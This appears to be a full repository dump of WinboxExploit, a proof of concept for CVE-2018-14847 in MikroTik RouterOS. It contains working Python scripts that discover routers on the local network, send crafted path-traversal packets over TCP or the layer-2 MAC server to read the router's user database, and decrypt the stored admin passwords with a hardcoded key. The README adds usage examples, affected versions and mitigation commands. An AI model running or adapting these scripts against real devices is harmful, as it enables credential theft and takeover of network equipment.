├── LICENSE ├── MACServerDiscover.py ├── MACServerExploit.py ├── README.md ├── WinboxExploit.py └── extract_user.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 مرکز تخصصی آپا دانشگاه بوعلی سینا 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MACServerDiscover.py: -------------------------------------------------------------------------------- 1 | import socket, binascii, threading, time 2 | 3 | # MAC server discovery by BigNerd95 4 | 5 | search = True 6 | devices = [] 7 | 8 | def discovery(sock): 9 | global search 10 | while search: 11 | sock.sendto(b"\x00\x00\x00\x00", ("255.255.255.254", 5678)) 12 | time.sleep(1) 13 | 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 15 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 16 | sock.bind(("0.0.0.0", 5678)) 17 | 18 | threading.Thread(target=discovery, args=(sock,)).start() 19 | 20 | print("Looking for Mikrotik devices (MAC servers)\n") 21 | 22 | while search: 23 | try: 24 | data, addr = sock.recvfrom(1024) 25 | if b"\x00\x01\x00\x06" in data: 26 | start = data.index(b"\x00\x01\x00\x06") + 4 27 | mac = data[start:start+6] 28 | 29 | if mac not in devices: 30 | devices.append(mac) 31 | 32 | #print(addr[0]) 33 | print('\t' + ':'.join('%02x' % b for b in mac)) 34 | print() 35 | except KeyboardInterrupt: 36 | search = False 37 | break 38 | -------------------------------------------------------------------------------- /MACServerExploit.py: -------------------------------------------------------------------------------- 1 | import threading, socket, struct, time, sys, binascii, datetime 2 | from extract_user import dump 3 | 4 | # MAC server Winbox exploit by BigNerd95 (and mosajjal) 5 | 6 | a = bytearray([0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 7 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 8 | 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 9 | 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 10 | 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 11 | 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 12 | 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 13 | 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 14 | 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 15 | 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 16 | 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 17 | 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 18 | 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 19 | 0x00, 0x00]) 20 | 21 | b = bytearray([0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 22 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 23 | 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 24 | 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 25 | 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 27 | 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 28 | 0x00, 0x02, 0x00, 0x00, 0x00]) 29 | 30 | class MikrotikMACClient(): 31 | 32 | START = 0 33 | DATA = 1 34 | ACK = 2 35 | END = 255 36 | PROTO_VERSION = 1 37 | CLIENT_TYPE = 0x0F90 38 | SESSION_ID = 0x1234 39 | ADDR = ("255.255.255.254", 20561) 40 | HEADLEN = 22 41 | VERBOSE = False 42 | 43 | def __init__(self, mac): 44 | self.session_bytes_sent = 0 45 | self.session_bytes_recv = 0 46 | self.source_mac = b"\xff\xff\xff\xff\xff\xff" # put mac of your pc if mikrotik is not responding 47 | self.dest_mac = mac 48 | 49 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 50 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 51 | self.sock.bind(('', 0)) 52 | 53 | self.buffer = [] 54 | self.work = True 55 | self.connected = False 56 | self.rm = threading.Thread(target=self.__recv_manager__) 57 | self.rm.start() 58 | 59 | self.__send_init__() 60 | 61 | def __recv_manager__(self): 62 | while self.work: 63 | try: 64 | data, _ = self.sock.recvfrom(1024*64) 65 | self.__parse_packet__(data) 66 | except Exception as e: 67 | self.__print__("Socket aborted.") 68 | 69 | def __buffer_pop__(self): 70 | while not self.buffer and self.connected: 71 | time.sleep(0.005) 72 | return self.buffer.pop(0) 73 | 74 | def __parse_packet__(self, data): 75 | _, packet_type = struct.unpack(">BB", data[:2]) 76 | session_id, _, session_bytes = struct.unpack(">HHI", data[14:self.HEADLEN]) 77 | 78 | if packet_type == self.DATA: 79 | self.__print__("New DATA") 80 | self.session_bytes_recv += len(data) - self.HEADLEN 81 | self.__send_ack__() 82 | 83 | self.buffer.append(data[self.HEADLEN:]) 84 | self.connected = True 85 | 86 | elif packet_type == self.ACK: 87 | self.__print__("New ACK") 88 | self.connected = True 89 | self.session_bytes_sent = session_bytes 90 | elif packet_type == self.END: 91 | self.__print__("End session") 92 | self.connected = False 93 | self.work = False 94 | self.__send_ack__() 95 | else: 96 | self.__print__("Unknown packet") 97 | self.__print__(data) 98 | 99 | self.__print__("ID:", session_id, "Bytes:", session_bytes) 100 | 101 | if len(data) > self.HEADLEN: 102 | self.__print__("Data:", data[self.HEADLEN:]) 103 | 104 | self.__print__() 105 | 106 | def __send_ack__(self): 107 | self.sock.sendto(self.__build_packet__(self.ACK), self.ADDR) 108 | 109 | def __send_data__(self, data): 110 | self.sock.sendto(self.__build_packet__(self.DATA, data), self.ADDR) 111 | 112 | def __send_end__(self): 113 | self.sock.sendto(self.__build_packet__(self.END), self.ADDR) 114 | 115 | def __send_init__(self): 116 | self.sock.sendto(self.__build_packet__(self.START), self.ADDR) 117 | n = datetime.datetime.now() 118 | while not self.connected: 119 | if (datetime.datetime.now()-n).total_seconds() > 3: 120 | #self.close() # This does not seem to work as expected. 121 | self.work = False 122 | #self.sock.setblocking(0) # This doesn't seem to affect the "recvfrom" if it is already waiting. 123 | raise Exception("Conenction timeout, no response from " + self.dest_mac) 124 | time.sleep(0.005) 125 | 126 | def __build_packet__(self, packet_type, data=b""): 127 | header = struct.pack(">BB", 128 | self.PROTO_VERSION, 129 | packet_type 130 | ) 131 | header += self.source_mac 132 | header += binascii.unhexlify(self.dest_mac.replace(':', '')) 133 | header += struct.pack(">HHI", 134 | self.SESSION_ID, 135 | self.CLIENT_TYPE, 136 | self.session_bytes_sent if packet_type == self.DATA else self.session_bytes_recv 137 | ) 138 | return header + data 139 | 140 | def __print__(self, *msg): 141 | if self.VERBOSE: 142 | print(*msg) 143 | 144 | def send(self, data): 145 | self.__send_data__(data) 146 | 147 | def recv(self, minlen=None, contains=None): 148 | d = self.__buffer_pop__() 149 | 150 | while (minlen and len(d) < minlen) or (contains and contains not in d): 151 | d = self.__buffer_pop__() 152 | 153 | return d 154 | 155 | def close(self): 156 | self.work = False 157 | self.__send_end__() 158 | 159 | if __name__ == "__main__": 160 | if len(sys.argv) < 2 or len(sys.argv) > 2: 161 | print("Usage: python3 MACServerExploit.py MAC_ADDRESS") 162 | exit() 163 | 164 | mac = sys.argv[1] 165 | if len(mac) != 17 or len(mac.replace(':', '')) != 12: # Lazy MAC address check. 166 | print("\"" + mac + "\" is an invalid MAC address. Has to be formatted as: 11:22:33:44:55:66") 167 | exit() 168 | 169 | try: 170 | m = MikrotikMACClient(mac) 171 | 172 | m.send(a) 173 | b[19] = m.recv(minlen=39)[38] # set correct session id 174 | 175 | m.send(b) 176 | d = m.recv(contains=b"\x11\x00\x00\x21") 177 | except Exception as e: 178 | print("Connection error: " + str(e)) 179 | exit() 180 | 181 | m.close() 182 | 183 | #Get results 184 | print("Connected to " + mac) 185 | 186 | if len(d[55:]) > 25: 187 | print("Exploit successful") 188 | dump(d[55:]) 189 | else: 190 | print("Exploit failed") 191 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WinboxExploit 2 | This is a proof of concept of the critical WinBox vulnerability (CVE-2018-14847) which allows for arbitrary file read of plain text passwords. 3 | 4 | The vulnerability has long since been fixed, so this project has ended and will not be supported or updated anymore. You can fork it and update it yourself instead. 5 | 6 | ## Blogpost 7 | https://n0p.me/winbox-bug-dissection/ 8 | 9 | ## Requirements 10 | - Python 3+ 11 | 12 | This script will NOT run with Python 2.x or lower. 13 | 14 | ## How To Use 15 | The script is simple used with simple arguments in the commandline. 16 | 17 | #### WinBox (TCP/IP) 18 | Exploit the vulnerability and read the password. 19 | ``` 20 | python3 WinboxExploit.py [PORT] 21 | ``` 22 | Example: 23 | ``` 24 | $ python3 WinboxExploit.py 172.17.17.17 25 | Connected to 172.17.17.17:8291 26 | Exploit successful 27 | User: admin 28 | Pass: Th3P4ssWord 29 | ``` 30 | 31 | #### MAC server WinBox (Layer 2) 32 | You can extract files even if the device doesn't have an IP address. 33 | 34 | Simple discovery check for locally connected Mikrotik devices. 35 | ``` 36 | python3 MACServerDiscover.py 37 | ``` 38 | Example: 39 | ``` 40 | $ python3 MACServerDiscover.py 41 | Looking for Mikrotik devices (MAC servers) 42 | 43 | aa:bb:cc:dd:ee:ff 44 | 45 | aa:bb:cc:dd:ee:aa 46 | ``` 47 | 48 | Exploit the vulnerability and read the password. 49 | ``` 50 | python3 MACServerExploit.py 51 | ``` 52 | Example: 53 | ``` 54 | $ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff 55 | 56 | User: admin 57 | Pass: Th3P4ssWord 58 | ``` 59 | 60 | ## Vulnerable Versions 61 | All RouterOS versions from 2015-05-28 to 2018-04-20 are vulnerable to this exploit. 62 | 63 | Mikrotik devices running RouterOS versions: 64 | 65 | - Longterm: 6.30.1 - 6.40.7 66 | - Stable: 6.29 - 6.42 67 | - Beta: 6.29rc1 - 6.43rc3 68 | 69 | For more information see: https://blog.mikrotik.com/security/winbox-vulnerability.html 70 | 71 | ## Mitigation Techniques 72 | - Upgrade the router to a RouterOS version that include the fix. 73 | - Disable the WinBox service on the router. 74 | - You can restricct access to the WinBox service to specific IP-addresses wtih the following: 75 | ``` 76 | /ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 77 | ``` 78 | - You may use some Filter Rules (ACL) to deny external access to the WinBox service: 79 | ``` 80 | /ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop 81 | ``` 82 | - Limiting access to the mac-winbox service can be done by specifing allowed interfaces: 83 | ``` 84 | /tool mac-server mac-winbox 85 | ``` 86 | 87 | ## Copyright 88 | - Sponsered by Iran's CERTCC(https://certcc.ir). All rights resereved. 89 | -------------------------------------------------------------------------------- /WinboxExploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from extract_user import dump 6 | 7 | 8 | a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 9 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 10 | 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 11 | 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 12 | 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 13 | 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 14 | 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 15 | 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 16 | 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 17 | 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 18 | 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 19 | 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 20 | 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 21 | 0x00, 0x00] 22 | 23 | b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 24 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 25 | 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 26 | 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 27 | 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 29 | 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 30 | 0x00, 0x02, 0x00, 0x00, 0x00] 31 | 32 | 33 | 34 | if __name__ == "__main__": 35 | if len(sys.argv) < 2 or (len(sys.argv) == 3 and not str.isdigit(sys.argv[2])) or len(sys.argv) > 3: 36 | print("Usage: python3 WinboxExploit.py IP_ADDRESS [PORT]") 37 | exit() 38 | 39 | ip = sys.argv[1] 40 | port = 21 41 | if len(sys.argv) == 3: 42 | port = int(sys.argv[2]) 43 | 44 | #Initialize Socket 45 | s = socket.socket() 46 | s.settimeout(3) 47 | try: 48 | s.connect((ip, port)) 49 | except Exception as e: 50 | print("Connection error: " + str(e)) 51 | exit() 52 | 53 | #Convert to bytearray for manipulation 54 | a = bytearray(a) 55 | b = bytearray(b) 56 | 57 | #Send hello and recieve the sesison id 58 | s.send(a) 59 | try: 60 | d = bytearray(s.recv(1024)) 61 | except Exception as e: 62 | print("Connection error: " + str(e)) 63 | exit() 64 | 65 | #Replace the session id in template 66 | b[19] = d[38] 67 | 68 | #Send the edited response 69 | s.send(b) 70 | d = bytearray(s.recv(1024)) 71 | 72 | #Get results 73 | print("Connected to " + ip + ":" + str(port)) 74 | if len(d[55:]) > 25: 75 | print("Exploit successful") 76 | dump(d[55:]) 77 | else: 78 | print("Exploit failed") 79 | -------------------------------------------------------------------------------- /extract_user.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys, hashlib 4 | 5 | def decrypt_password(user, pass_enc): 6 | key = hashlib.md5(user + b"283i4jfkai3389").digest() 7 | 8 | passw = "" 9 | for i in range(0, len(pass_enc)): 10 | passw += chr(pass_enc[i] ^ key[i % len(key)]) 11 | 12 | return passw.split("\x00")[0] 13 | 14 | def extract_user_pass_from_entry(entry): 15 | user_data = entry.split(b"\x01\x00\x00\x21")[1] 16 | pass_data = entry.split(b"\x11\x00\x00\x21")[1] 17 | 18 | user_len = user_data[0] 19 | pass_len = pass_data[0] 20 | 21 | username = user_data[1:1 + user_len] 22 | password = pass_data[1:1 + pass_len] 23 | 24 | return username, password 25 | 26 | def get_pair(data): 27 | 28 | user_list = [] 29 | 30 | entries = data.split(b"M2")[1:] 31 | for entry in entries: 32 | try: 33 | user, pass_encrypted = extract_user_pass_from_entry(entry) 34 | except: 35 | continue 36 | 37 | pass_plain = decrypt_password(user, pass_encrypted) 38 | user = user.decode("utf_8", "backslashreplace") 39 | 40 | user_list.append((user, pass_plain)) 41 | 42 | return user_list 43 | 44 | def dump(data): 45 | user_pass = get_pair(data) 46 | for u, p in user_pass: 47 | print("User:", u) 48 | print("Pass:", p) 49 | print() 50 | 51 | if __name__ == "__main__": 52 | if len(sys.argv) == 2: 53 | if sys.argv[1] == "-": 54 | user_file = sys.stdin.buffer.read() 55 | else: 56 | user_file = open(sys.argv[1], "rb").read() 57 | dump(user_file) 58 | 59 | else: 60 | print("Usage:") 61 | print("\tFrom file: \t", sys.argv[0], "user.dat") 62 | print("\tFrom stdin:\t", sys.argv[0], "-") 63 | --------------------------------------------------------------------------------